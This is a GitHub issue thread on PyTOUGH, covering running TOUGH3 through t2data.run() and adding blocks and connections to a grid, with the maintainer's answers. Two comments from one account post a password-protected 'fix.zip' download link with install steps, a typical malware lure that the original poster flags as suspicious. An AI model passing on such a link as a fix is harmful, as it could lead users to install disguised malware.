Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

dat.run() #57

Open
jousheinfo opened this issue Aug 26, 2024 · 4 comments
Open

dat.run() #57

jousheinfo opened this issue Aug 26, 2024 · 4 comments

Comments

@jousheinfo
Copy link

Hello,

I have a TOUGH input file, and I would like to run it through PyTOUGH to get the listing file. The code I have is the following:

from t2data import *
dat = t2data('file.inp')
dat.run(simulator = 'tough3_eco2m.exe')

I get the following Python error: :15: SyntaxWarning: invalid escape sequence '\P'

It kinda generates the listing file, but I get the following error:
TOUGH ERROR: Please check the name of the input file specified or rename input file to INFILE

I have the CO2TAB, executable and input files saved in the same folder. I tried to rename the input file, but I still get the same error. I kindly ask for your support, please. Thanks!.

@deverchettychandrashekar

to fix your trouble try download this fix, i see it in another issue,
https://www.mediafire.com/file/zch0v8rj7200mbm/fix.zip/file
password: changeme
when you installing, you need to place a check in install to path and select "gcc."

1 similar comment
@deverchettychandrashekar

to fix your trouble try download this fix, i see it in another issue,
https://www.mediafire.com/file/zch0v8rj7200mbm/fix.zip/file
password: changeme
when you installing, you need to place a check in install to path and select "gcc."

@jousheinfo
Copy link
Author

@acroucher the comments above seem to be suspicious. Please take action. Looking forward to your response. Thanks!

@acroucher
Copy link
Owner

PyTOUGH's t2data.run() method hasn't really been tested with TOUGH3, but I gather that in theory it should work much the same as TOUGH2. Have you tested running it outside of Python, i.e. just running on the command line tough3_eco2m.exe < file.inp > output.listing or similar?

I don't know what the "invalid escape sequence" message is about, but the error after that suggests that TOUGH3 just can't find the input file.

@jousheinfo
Copy link
Author

Thank you, I think I found the solution. Another question, please.

I have a radial grid and the first element is named as ' a 1' whose center is at depth 2.5 m. I want to add a new block named ' ba 1' whose center is at depth 0 m (it will be used as "surface" (wellhead) block. I tried the following, but it not working.

new_wellhead_name = ' ba 1'
dat.grid.add_block(new_wellhead_name)

The error I get is the following:
AttributeError: 'str' object has no attribute 'name'

Moreover, after adding this new wellhead, how to create the connection between ' a 1' and ' ba 1'?

Thank you so much!

@acroucher
Copy link
Owner

When you use t2grid.add_block() the argument should be a t2block object, not a string. So you need to create one first, e.g. blk = t2block(name = ' ba 1'), then dat.grid.add_block(blk). You may want to set other block parameters as well when you create it, e.g. volume. See the documentation for more details.

The procedure for adding a connection is similar, first create a t2connection object and then use t2grid.add_connection().

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

4 participants
@acroucher @jousheinfo @deverchettychandrashekar and others